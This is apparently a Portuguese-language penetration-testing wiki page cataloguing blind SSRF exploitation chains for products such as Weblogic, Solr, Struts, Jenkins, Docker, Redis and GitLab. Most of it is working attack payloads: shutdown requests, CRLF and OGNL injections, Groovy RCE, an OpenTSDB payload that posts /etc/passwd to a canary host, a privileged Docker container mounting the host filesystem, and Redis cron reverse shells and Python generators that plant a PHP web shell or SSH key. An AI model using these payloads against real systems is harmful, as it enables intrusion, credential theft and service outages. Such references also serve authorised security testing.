|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
Esta seção foi copiada de [https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/](https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/)
|
Confira **[https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/](https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/)**
|
||||||
|
|
||||||
## Elasticsearch
|
|
||||||
|
|
||||||
**Porta comum: 9200**
|
|
||||||
|
|
||||||
Quando o Elasticsearch é implantado internamente, geralmente não requer autenticação.
|
|
||||||
|
|
||||||
Se você tem um SSRF parcialmente cego onde pode determinar o código de status, verifique se os seguintes endpoints retornam um 200:
|
|
||||||
```http
|
|
||||||
/_cluster/health
|
|
||||||
/_cat/indices
|
|
||||||
/_cat/health
|
|
||||||
```
|
|
||||||
Se você tem um SSRF cego onde pode enviar requisições POST, você pode desligar a instância do Elasticsearch enviando uma requisição POST para o seguinte caminho:
|
|
||||||
|
|
||||||
Nota: a API `_shutdown` foi removida do Elasticsearch na versão 2.x. e superiores. Isso só funciona no Elasticsearch 1.6 e abaixo:
|
|
||||||
```http
|
|
||||||
/_shutdown
|
|
||||||
/_cluster/nodes/_master/_shutdown
|
|
||||||
/_cluster/nodes/_shutdown
|
|
||||||
/_cluster/nodes/_all/_shutdown
|
|
||||||
```
|
|
||||||
## Weblogic
|
|
||||||
|
|
||||||
**Portas comuns: 80, 443 (SSL), 7001, 8888**
|
|
||||||
|
|
||||||
**SSRF Canary: UDDI Explorer (CVE-2014-4210)**
|
|
||||||
```http
|
|
||||||
POST /uddiexplorer/SearchPublicRegistries.jsp HTTP/1.1
|
|
||||||
Host: target.com
|
|
||||||
Content-Length: 137
|
|
||||||
Content-Type: application/x-www-form-urlencoded
|
|
||||||
|
|
||||||
operator=http%3A%2F%2FSSRF_CANARY&rdoSearch=name&txtSearchname=test&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search
|
|
||||||
```
|
|
||||||
Isso também funciona via GET:
|
|
||||||
```bash
|
|
||||||
http://target.com/uddiexplorer/SearchPublicRegistries.jsp?operator=http%3A%2F%2FSSRF_CANARY&rdoSearch=name&txtSearchname=test&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search
|
|
||||||
```
|
|
||||||
Este endpoint também é vulnerável a injeção CRLF:
|
|
||||||
```
|
|
||||||
GET /uddiexplorer/SearchPublicRegistries.jsp?operator=http://attacker.com:4000/exp%20HTTP/1.11%0AX-CLRF%3A%20Injected%0A&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search HTTP/1.0
|
|
||||||
Host: vuln.weblogic
|
|
||||||
Accept-Encoding: gzip, deflate
|
|
||||||
Accept: */*
|
|
||||||
Accept-Language: en
|
|
||||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36
|
|
||||||
Connection: close
|
|
||||||
```
|
|
||||||
Resultará na seguinte solicitação:
|
|
||||||
```
|
|
||||||
root@mail:~# nc -lvp 4000
|
|
||||||
Listening on [0.0.0.0] (family 0, port 4000)
|
|
||||||
Connection from example.com 43111 received!
|
|
||||||
POST /exp HTTP/1.11
|
|
||||||
X-CLRF: Injected HTTP/1.1
|
|
||||||
Content-Type: text/xml; charset=UTF-8
|
|
||||||
soapAction: ""
|
|
||||||
Content-Length: 418
|
|
||||||
User-Agent: Java1.6.0_24
|
|
||||||
Host: attacker.com:4000
|
|
||||||
Accept: text/html, image/gif, image/jpeg, */*; q=.2
|
|
||||||
Connection: Keep-Alive
|
|
||||||
|
|
||||||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?><env:Envelope xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><env:Header/><env:Body><find_business generic="2.0" xmlns="urn:uddi-org:api_v2"><name>sdf</name></find_business></env:Body></env:Envelope>
|
|
||||||
```
|
|
||||||
**SSRF Canary: CVE-2020-14883**
|
|
||||||
|
|
||||||
Retirado [daqui](https://forum.90sec.com/t/topic/1412).
|
|
||||||
|
|
||||||
Linux:
|
|
||||||
```http
|
|
||||||
POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
|
|
||||||
Host: vulnerablehost:7001
|
|
||||||
Upgrade-Insecure-Requests: 1
|
|
||||||
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
|
|
||||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
|
|
||||||
Accept-Encoding: gzip, deflate
|
|
||||||
Accept-Language: zh-CN,zh;q=0.9
|
|
||||||
Connection: close
|
|
||||||
Content-Type: application/x-www-form-urlencoded
|
|
||||||
Content-Length: 117
|
|
||||||
|
|
||||||
_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://SSRF_CANARY/poc.xml")
|
|
||||||
```
|
|
||||||
Windows:
|
|
||||||
```http
|
|
||||||
POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
|
|
||||||
Host: vulnerablehost:7001
|
|
||||||
Upgrade-Insecure-Requests: 1
|
|
||||||
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
|
|
||||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
|
|
||||||
Accept-Encoding: gzip, deflate
|
|
||||||
Accept-Language: zh-CN,zh;q=0.9
|
|
||||||
Connection: close
|
|
||||||
Content-Type: application/x-www-form-urlencoded
|
|
||||||
Content-Length: 117
|
|
||||||
|
|
||||||
_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://SSRF_CANARY/poc.xml")
|
|
||||||
```
|
|
||||||
## Hashicorp Consul
|
|
||||||
|
|
||||||
**Portas comuns: 8500, 8501 (SSL)**
|
|
||||||
|
|
||||||
Você pode encontrar o writeup [aqui](https://www.kernelpicnic.net/2017/05/29/Pivoting-from-blind-SSRF-to-RCE-with-Hashicorp-Consul.html).
|
|
||||||
|
|
||||||
## Shellshock
|
|
||||||
|
|
||||||
**Portas comuns: 80, 443 (SSL), 8080**
|
|
||||||
|
|
||||||
Para testar efetivamente o Shellshock, você pode precisar adicionar um cabeçalho contendo o payload. Os seguintes caminhos CGI valem a pena tentar:
|
|
||||||
|
|
||||||
Lista curta de caminhos CGI para teste:
|
|
||||||
|
|
||||||
[Gist contendo caminhos](https://gist.github.com/infosec-au/009fcbdd5bad16bb6ceb36b838d96be4).
|
|
||||||
|
|
||||||
**SSRF Canary: Shellshock via User Agent**
|
|
||||||
```bash
|
|
||||||
User-Agent: () { foo;}; echo Content-Type: text/plain ; echo ; curl SSRF_CANARY
|
|
||||||
```
|
|
||||||
## Apache Druid
|
|
||||||
|
|
||||||
**Portas comumente vinculadas: 80, 8080, 8888, 8082**
|
|
||||||
|
|
||||||
Veja a referência da API para Apache Druid [aqui](https://druid.apache.org/docs/latest/operations/api-reference.html).
|
|
||||||
|
|
||||||
Se você pode visualizar o código de status, verifique os seguintes caminhos para ver se eles retornam um código de status 200:
|
|
||||||
```bash
|
|
||||||
/status/selfDiscovered/status
|
|
||||||
/druid/coordinator/v1/leader
|
|
||||||
/druid/coordinator/v1/metadata/datasources
|
|
||||||
/druid/indexer/v1/taskStatus
|
|
||||||
```
|
|
||||||
Tarefas de desligamento, requer que você adivinhe os IDs das tarefas ou o nome da fonte de dados:
|
|
||||||
```bash
|
|
||||||
/druid/indexer/v1/task/{taskId}/shutdown
|
|
||||||
/druid/indexer/v1/datasources/{dataSource}/shutdownAllTasks
|
|
||||||
```
|
|
||||||
Supervisores de desligamento em Apache Druid Overlords:
|
|
||||||
```bash
|
|
||||||
/druid/indexer/v1/supervisor/terminateAll
|
|
||||||
/druid/indexer/v1/supervisor/{supervisorId}/shutdown
|
|
||||||
```
|
|
||||||
## Apache Solr
|
|
||||||
|
|
||||||
**Porta comum: 8983**
|
|
||||||
|
|
||||||
**SSRF Canary: Parâmetro Shards**
|
|
||||||
|
|
||||||
> Para adicionar ao que o shubham está dizendo - escanear por solr é relativamente fácil. Existe um parâmetro shards= que permite que você redirecione SSRF para SSRF para verificar se você está atingindo uma instância solr às cegas.
|
|
||||||
>
|
|
||||||
> — Хавиж Наффи 🥕 (@nnwakelam) [13 de Janeiro de 2021](https://twitter.com/nnwakelam/status/1349298311853821956?ref_src=twsrc%5Etfw)
|
|
||||||
|
|
||||||
Retirado [daqui](https://github.com/veracode-research/solr-injection).
|
|
||||||
```bash
|
|
||||||
/search?q=Apple&shards=http://SSRF_CANARY/solr/collection/config%23&stream.body={"set-property":{"xxx":"yyy"}}
|
|
||||||
/solr/db/select?q=orange&shards=http://SSRF_CANARY/solr/atom&qt=/select?fl=id,name:author&wt=json
|
|
||||||
/xxx?q=aaa%26shards=http://SSRF_CANARY/solr
|
|
||||||
/xxx?q=aaa&shards=http://SSRF_CANARY/solr
|
|
||||||
```
|
|
||||||
**SSRF Canary: Solr XXE (2017)**
|
|
||||||
|
|
||||||
[Apache Solr 7.0.1 XXE (Packetstorm)](https://packetstormsecurity.com/files/144678/Apache-Solr-7.0.1-XXE-Injection-Code-Execution.html)
|
|
||||||
```bash
|
|
||||||
/solr/gettingstarted/select?q={!xmlparser v='<!DOCTYPE a SYSTEM "http://SSRF_CANARY/xxx"'><a></a>'
|
|
||||||
/xxx?q={!type=xmlparser v="<!DOCTYPE a SYSTEM 'http://SSRF_CANARY/solr'><a></a>"}
|
|
||||||
```
|
|
||||||
**RCE via dataImportHandler**
|
|
||||||
|
|
||||||
[Pesquisa sobre RCE via dataImportHandler](https://github.com/veracode-research/solr-injection#3-cve-2019-0193-remote-code-execution-via-dataimporthandler)
|
|
||||||
|
|
||||||
## PeopleSoft
|
|
||||||
|
|
||||||
**Portas comuns: 80,443 (SSL)**
|
|
||||||
|
|
||||||
Retirado desta pesquisa [aqui](https://www.ambionics.io/blog/oracle-peoplesoft-xxe-to-rce).
|
|
||||||
|
|
||||||
**SSRF Canary: XXE #1**
|
|
||||||
```http
|
|
||||||
POST /PSIGW/HttpListeningConnector HTTP/1.1
|
|
||||||
Host: website.com
|
|
||||||
Content-Type: application/xml
|
|
||||||
...
|
|
||||||
|
|
||||||
<?xml version="1.0"?>
|
|
||||||
<!DOCTYPE IBRequest [
|
|
||||||
<!ENTITY x SYSTEM "http://SSRF_CANARY">
|
|
||||||
]>
|
|
||||||
<IBRequest>
|
|
||||||
<ExternalOperationName>&x;</ExternalOperationName>
|
|
||||||
<OperationType/>
|
|
||||||
<From><RequestingNode/>
|
|
||||||
<Password/>
|
|
||||||
<OrigUser/>
|
|
||||||
<OrigNode/>
|
|
||||||
<OrigProcess/>
|
|
||||||
<OrigTimeStamp/>
|
|
||||||
</From>
|
|
||||||
<To>
|
|
||||||
<FinalDestination/>
|
|
||||||
<DestinationNode/>
|
|
||||||
<SubChannel/>
|
|
||||||
</To>
|
|
||||||
<ContentSections>
|
|
||||||
<ContentSection>
|
|
||||||
<NonRepudiation/>
|
|
||||||
<MessageVersion/>
|
|
||||||
<Data><![CDATA[<?xml version="1.0"?>your_message_content]]>
|
|
||||||
</Data>
|
|
||||||
</ContentSection>
|
|
||||||
</ContentSections>
|
|
||||||
</IBRequest>
|
|
||||||
```
|
|
||||||
**SSRF Canary: XXE #2**
|
|
||||||
```http
|
|
||||||
POST /PSIGW/PeopleSoftServiceListeningConnector HTTP/1.1
|
|
||||||
Host: website.com
|
|
||||||
Content-Type: application/xml
|
|
||||||
...
|
|
||||||
|
|
||||||
<!DOCTYPE a PUBLIC "-//B/A/EN" "http://SSRF_CANARY">
|
|
||||||
```
|
|
||||||
## Apache Struts
|
|
||||||
|
|
||||||
**Portas comuns: 80,443 (SSL),8080,8443 (SSL)**
|
|
||||||
|
|
||||||
Retirado [daqui](https://blog.safebuff.com/2016/07/03/SSRF-Tips/).
|
|
||||||
|
|
||||||
**SSRF Canary: Struts2-016**:
|
|
||||||
|
|
||||||
Adicione isso ao final de cada endpoint/URL interno que você conhecer:
|
|
||||||
```http
|
|
||||||
?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'command'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23t%3d%23d.readLine(),%23u%3d"http://SSRF_CANARY/result%3d".concat(%23t),%23http%3dnew%20java.net.URL(%23u).openConnection(),%23http.setRequestMethod("GET"),%23http.connect(),%23http.getInputStream()}
|
|
||||||
```
|
|
||||||
## JBoss
|
|
||||||
|
|
||||||
**Portas comuns: 80,443 (SSL),8080,8443 (SSL)**
|
|
||||||
|
|
||||||
Retirado [daqui](https://blog.safebuff.com/2016/07/03/SSRF-Tips/).
|
|
||||||
|
|
||||||
**SSRF Canary: Implante WAR a partir de URL**
|
|
||||||
```bash
|
|
||||||
/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=17&arg0=http://SSRF_CANARY/utils/cmd.war
|
|
||||||
```
|
|
||||||
## Confluence
|
|
||||||
|
|
||||||
**Portas comuns: 80,443 (SSL),8080,8443 (SSL)**
|
|
||||||
|
|
||||||
**SSRF Canary: Sharelinks (versões do Confluence lançadas de novembro de 2016 e anteriores)**
|
|
||||||
```bash
|
|
||||||
/rest/sharelinks/1.0/link?url=https://SSRF_CANARY/
|
|
||||||
```
|
|
||||||
**SSRF Canary: iconUriServlet - Confluence < 6.1.3 (CVE-2017-9506)**
|
|
||||||
|
|
||||||
[Ticket de Segurança Atlassian OAUTH-344](https://ecosystem.atlassian.net/browse/OAUTH-344)
|
|
||||||
```bash
|
|
||||||
/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY
|
|
||||||
```
|
|
||||||
## Jira
|
|
||||||
|
|
||||||
**Portas comuns: 80,443 (SSL),8080,8443 (SSL)**
|
|
||||||
|
|
||||||
**SSRF Canary: iconUriServlet - Jira < 7.3.5 (CVE-2017-9506)**
|
|
||||||
|
|
||||||
[Ticket de Segurança da Atlassian OAUTH-344](https://ecosystem.atlassian.net/browse/OAUTH-344)
|
|
||||||
```bash
|
|
||||||
/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY
|
|
||||||
```
|
|
||||||
**SSRF Canary: makeRequest - Jira < 8.4.0 (CVE-2019-8451)**
|
|
||||||
|
|
||||||
[Ticket de Segurança da Atlassian JRASERVER-69793](https://jira.atlassian.com/browse/JRASERVER-69793)
|
|
||||||
```bash
|
|
||||||
/plugins/servlet/gadgets/makeRequest?url=https://SSRF_CANARY:443@example.com
|
|
||||||
```
|
|
||||||
## Outros Produtos Atlassian
|
|
||||||
|
|
||||||
**Portas comumente vinculadas: 80,443 (SSL),8080,8443 (SSL)**
|
|
||||||
|
|
||||||
**SSRF Canary: iconUriServlet (CVE-2017-9506)**:
|
|
||||||
|
|
||||||
* Bamboo < 6.0.0
|
|
||||||
* Bitbucket < 4.14.4
|
|
||||||
* Crowd < 2.11.2
|
|
||||||
* Crucible < 4.3.2
|
|
||||||
* Fisheye < 4.3.2
|
|
||||||
|
|
||||||
[Ticket de Segurança Atlassian OAUTH-344](https://ecosystem.atlassian.net/browse/OAUTH-344)
|
|
||||||
```bash
|
|
||||||
/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY
|
|
||||||
```
|
|
||||||
## OpenTSDB
|
|
||||||
|
|
||||||
**Porta comum: 4242**
|
|
||||||
|
|
||||||
[Execução Remota de Código OpenTSDB](https://packetstormsecurity.com/files/136753/OpenTSDB-Remote-Code-Execution.html)
|
|
||||||
|
|
||||||
**SSRF Canary: curl via RCE**
|
|
||||||
```bash
|
|
||||||
/q?start=2016/04/13-10:21:00&ignore=2&m=sum:jmxdata.cpu&o=&yrange=[0:]&key=out%20right%20top&wxh=1900x770%60curl%20SSRF_CANARY%60&style=linespoint&png
|
|
||||||
```
|
|
||||||
[Execução Remota de Código no OpenTSDB 2.4.0](https://github.com/OpenTSDB/opentsdb/issues/2051)
|
|
||||||
|
|
||||||
**SSRF Canary: curl via RCE - CVE-2020-35476**
|
|
||||||
```bash
|
|
||||||
/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:sys.cpu.nice&o=&ylabel=&xrange=10:10&yrange=[33:system('wget%20--post-file%20/etc/passwd%20SSRF_CANARY')]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json
|
|
||||||
```
|
|
||||||
## Jenkins
|
|
||||||
|
|
||||||
**Portas comuns: 80,443 (SSL),8080,8888**
|
|
||||||
|
|
||||||
Ótimo artigo [aqui](https://blog.orange.tw/2019/01/hacking-jenkins-part-1-play-with-dynamic-routing.html).
|
|
||||||
|
|
||||||
**SSRF Canary: CVE-2018-1000600**
|
|
||||||
```bash
|
|
||||||
/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword?apiUrl=http://SSRF_CANARY/%23&login=orange&password=tsai
|
|
||||||
```
|
|
||||||
**RCE**
|
|
||||||
|
|
||||||
Siga as instruções aqui para alcançar RCE via GET: [Hacking Jenkins Part 2 - Abusing Meta Programming for Unauthenticated RCE!](https://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html)
|
|
||||||
```bash
|
|
||||||
/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name='orange.tw', root='http://SSRF_CANARY/')%0a@Grab(group='tw.orange', module='poc', version='1')%0aimport Orange;
|
|
||||||
```
|
|
||||||
**RCE via Groovy**
|
|
||||||
```
|
|
||||||
cmd = 'curl burp_collab'
|
|
||||||
pay = 'public class x {public x(){"%s".execute()}}' % cmd
|
|
||||||
data = 'http://jenkins.internal/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=' + urllib.quote(pay)
|
|
||||||
```
|
|
||||||
## Painel Hystrix
|
|
||||||
|
|
||||||
**Portas comumente vinculadas: 80,443 (SSL),8080**
|
|
||||||
|
|
||||||
Spring Cloud Netflix, versões 2.2.x anteriores a 2.2.4, versões 2.1.x anteriores a 2.1.6.
|
|
||||||
|
|
||||||
**SSRF Canary: CVE-2020-5412**
|
|
||||||
```bash
|
|
||||||
/proxy.stream?origin=http://SSRF_CANARY/
|
|
||||||
```
|
|
||||||
## W3 Total Cache
|
|
||||||
|
|
||||||
**Portas comuns: 80,443 (SSL)**
|
|
||||||
|
|
||||||
W3 Total Cache 0.9.2.6-0.9.3
|
|
||||||
|
|
||||||
**SSRF Canary: CVE-2019-6715**
|
|
||||||
|
|
||||||
Isso precisa ser uma requisição PUT:
|
|
||||||
```bash
|
|
||||||
PUT /wp-content/plugins/w3-total-cache/pub/sns.php HTTP/1.1
|
|
||||||
Host: {{Hostname}}
|
|
||||||
Accept: */*
|
|
||||||
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.80 Safari/537.36
|
|
||||||
Content-Length: 124
|
|
||||||
Content-Type: application/x-www-form-urlencoded
|
|
||||||
Connection: close
|
|
||||||
|
|
||||||
{"Type":"SubscriptionConfirmation","Message":"","SubscribeURL":"https://SSRF_CANARY"}
|
|
||||||
```
|
|
||||||
**SSRF Canary**
|
|
||||||
|
|
||||||
O aviso sobre essa vulnerabilidade foi publicado aqui: [Vulnerabilidade SSRF do W3 Total Cache](https://klikki.fi/adv/w3\_total\_cache.html)
|
|
||||||
|
|
||||||
Este código PHP irá gerar um payload para o seu host SSRF Canary (substitua `url` pelo seu host canary):
|
|
||||||
```php
|
|
||||||
<?php
|
|
||||||
|
|
||||||
$url='http://www.google.com';
|
|
||||||
$file=strtr(base64_encode(gzdeflate($url.'#https://ajax.googleapis.com')), '+/=', '-_');
|
|
||||||
$file=chop($file,'=');
|
|
||||||
$req='/wp-content/plugins/w3-total-cache/pub/minify.php?file='.$file.'.css';
|
|
||||||
echo($req);
|
|
||||||
|
|
||||||
?>
|
|
||||||
```
|
|
||||||
## Docker
|
|
||||||
|
|
||||||
**Portas comumente vinculadas: 2375, 2376 (SSL)**
|
|
||||||
|
|
||||||
Se você tem um SSRF parcialmente cego, você pode usar os seguintes caminhos para verificar a presença da API do Docker:
|
|
||||||
```bash
|
|
||||||
/containers/json
|
|
||||||
/secrets
|
|
||||||
/services
|
|
||||||
```
|
|
||||||
**RCE através da execução de uma imagem docker arbitrária**
|
|
||||||
```http
|
|
||||||
POST /containers/create?name=test HTTP/1.1
|
|
||||||
Host: website.com
|
|
||||||
Content-Type: application/json
|
|
||||||
...
|
|
||||||
|
|
||||||
{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}
|
|
||||||
```
|
|
||||||
Substitua alpine por uma imagem arbitrária que você gostaria que o contêiner do docker executasse.
|
|
||||||
|
|
||||||
## Gitlab Prometheus Redis Exporter
|
|
||||||
|
|
||||||
**Portas comumente vinculadas: 9121**
|
|
||||||
|
|
||||||
Esta vulnerabilidade afeta instâncias do Gitlab antes da versão 13.1.1. De acordo com a [documentação do Gitlab](https://docs.gitlab.com/ee/administration/monitoring/prometheus/#configuring-prometheus) `Prometheus e seus exportadores estão ativados por padrão, a partir do GitLab 9.0.`
|
|
||||||
|
|
||||||
Esses exportadores fornecem um excelente método para um atacante pivotar e atacar outros serviços usando CVE-2020-13379. Um dos exportadores que é facilmente explorado é o Redis Exporter.
|
|
||||||
|
|
||||||
O seguinte endpoint permitirá que um atacante despeje todas as chaves no servidor redis fornecido via parâmetro target:
|
|
||||||
```bash
|
|
||||||
http://localhost:9121/scrape?target=redis://127.0.0.1:7001&check-keys=*
|
|
||||||
```
|
|
||||||
***
|
|
||||||
|
|
||||||
**Possível via Gopher**
|
|
||||||
|
|
||||||
## Redis
|
|
||||||
|
|
||||||
**Porta comum: 6379**
|
|
||||||
|
|
||||||
Leitura recomendada:
|
|
||||||
|
|
||||||
* [Tentando hackear Redis via requisições HTTP](https://www.agarri.fr/blog/archives/2014/09/11/trying_to_hack_redis_via_http_requests/index.html)
|
|
||||||
* [Exploits SSRF contra Redis](https://maxchadwick.xyz/blog/ssrf-exploits-against-redis)
|
|
||||||
|
|
||||||
**RCE via Cron** - [Superfícies de Ataque Gopher](https://blog.chaitin.cn/gopher-attack-surfaces/)
|
|
||||||
```bash
|
|
||||||
redis-cli -h $1 flushall
|
|
||||||
echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1\n\n"|redis-cli -h $1 -x set 1
|
|
||||||
redis-cli -h $1 config set dir /var/spool/cron/
|
|
||||||
redis-cli -h $1 config set dbfilename root
|
|
||||||
redis-cli -h $1 save
|
|
||||||
```
|
|
||||||
Gopher:
|
|
||||||
```bash
|
|
||||||
gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a
|
|
||||||
```
|
|
||||||
**RCE via Shell Upload (PHP)** - [Resumo do Redis Getshell](https://www.mdeditor.tw/pl/pBy0)
|
|
||||||
```python
|
|
||||||
#!/usr/bin/env python
|
|
||||||
# -*-coding:utf-8-*-
|
|
||||||
|
|
||||||
import urllib
|
|
||||||
protocol="gopher://"
|
|
||||||
ip="192.168.189.208"
|
|
||||||
port="6379"
|
|
||||||
shell="\n\n<?php phpinfo();?>\n\n"
|
|
||||||
filename="shell.php"
|
|
||||||
path="/var"
|
|
||||||
passwd=""
|
|
||||||
|
|
||||||
cmd=["flushall",
|
|
||||||
"set 1 {}".format(shell.replace(" ","${IFS}")),
|
|
||||||
"config set dir {}".format(path),
|
|
||||||
"config set dbfilename {}".format(filename),
|
|
||||||
"save"
|
|
||||||
]
|
|
||||||
if passwd:
|
|
||||||
cmd.insert(0,"AUTH {}".format(passwd))
|
|
||||||
payload=protocol+ip+":"+port+"/_"
|
|
||||||
def redis_format(arr):
|
|
||||||
CRLF="\r\n"
|
|
||||||
redis_arr = arr.split(" ")
|
|
||||||
cmd=""
|
|
||||||
cmd+="*"+str(len(redis_arr))
|
|
||||||
for x in redis_arr:
|
|
||||||
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
|
|
||||||
cmd+=CRLF
|
|
||||||
return cmd
|
|
||||||
|
|
||||||
if __name__=="__main__":
|
|
||||||
for x in cmd:
|
|
||||||
payload += urllib.quote(redis_format(x))
|
|
||||||
print payload
|
|
||||||
```
|
|
||||||
**RCE via authorized_keys** - [Resumo do Redis Getshell](https://www.mdeditor.tw/pl/pBy0)
|
|
||||||
```python
|
|
||||||
import urllib
|
|
||||||
protocol="gopher://"
|
|
||||||
ip="192.168.189.208"
|
|
||||||
port="6379"
|
|
||||||
# shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"
|
|
||||||
sshpublic_key = "\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8IOnJUAt5b/5jDwBDYJTDULjzaqBe2KW3KhqlaY58XveKQRBLrG3ZV0ffPnIW5SLdueunb4HoFKDQ/KPXFzyvVjqByj5688THkq1RJkYxGlgFNgMoPN151zpZ+eCBdFZEf/m8yIb3/7Cp+31s6Q/DvIFif6IjmVRfWXhnkjNehYjsp4gIEBiiW/jWId5yrO9+AwAX4xSabbxuUyu02AQz8wp+h8DZS9itA9m7FyJw8gCrKLEnM7PK/ClEBevDPSR+0YvvYtnUxeCosqp9VrjTfo5q0nNg9JAvPMs+EA1ohUct9UyXbTehr1Bdv4IXx9+7Vhf4/qwle8HKali3feIZ root@kali\n\n"
|
|
||||||
filename="authorized_keys"
|
|
||||||
path="/root/.ssh/"
|
|
||||||
passwd=""
|
|
||||||
cmd=["flushall",
|
|
||||||
"set 1 {}".format(sshpublic_key.replace(" ","${IFS}")),
|
|
||||||
"config set dir {}".format(path),
|
|
||||||
"config set dbfilename {}".format(filename),
|
|
||||||
"save"
|
|
||||||
]
|
|
||||||
if passwd:
|
|
||||||
cmd.insert(0,"AUTH {}".format(passwd))
|
|
||||||
payload=protocol+ip+":"+port+"/_"
|
|
||||||
def redis_format(arr):
|
|
||||||
CRLF="\r\n"
|
|
||||||
redis_arr = arr.split(" ")
|
|
||||||
cmd=""
|
|
||||||
cmd+="*"+str(len(redis_arr))
|
|
||||||
for x in redis_arr:
|
|
||||||
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
|
|
||||||
cmd+=CRLF
|
|
||||||
return cmd
|
|
||||||
|
|
||||||
if __name__=="__main__":
|
|
||||||
for x in cmd:
|
|
||||||
payload += urllib.quote(redis_format(x))
|
|
||||||
print payload
|
|
||||||
```
|
|
||||||
**RCE no GitLab via protocolo Git**
|
|
||||||
|
|
||||||
Ótimo artigo de Liveoverflow [aqui](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/).
|
|
||||||
|
|
||||||
Embora isso tenha exigido acesso autenticado ao GitLab para explorar, estou incluindo o payload aqui, pois o protocolo `git` pode funcionar no alvo que você está hackeando. Este payload é para referência.
|
|
||||||
```bash
|
|
||||||
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git
|
|
||||||
```
|
|
||||||
## Memcache
|
|
||||||
|
|
||||||
**Porta comum: 11211**
|
|
||||||
|
|
||||||
* [vBulletin Memcache RCE](https://www.exploit-db.com/exploits/37815)
|
|
||||||
* [GitHub Enterprise Memcache RCE](https://www.exploit-db.com/exploits/42392)
|
|
||||||
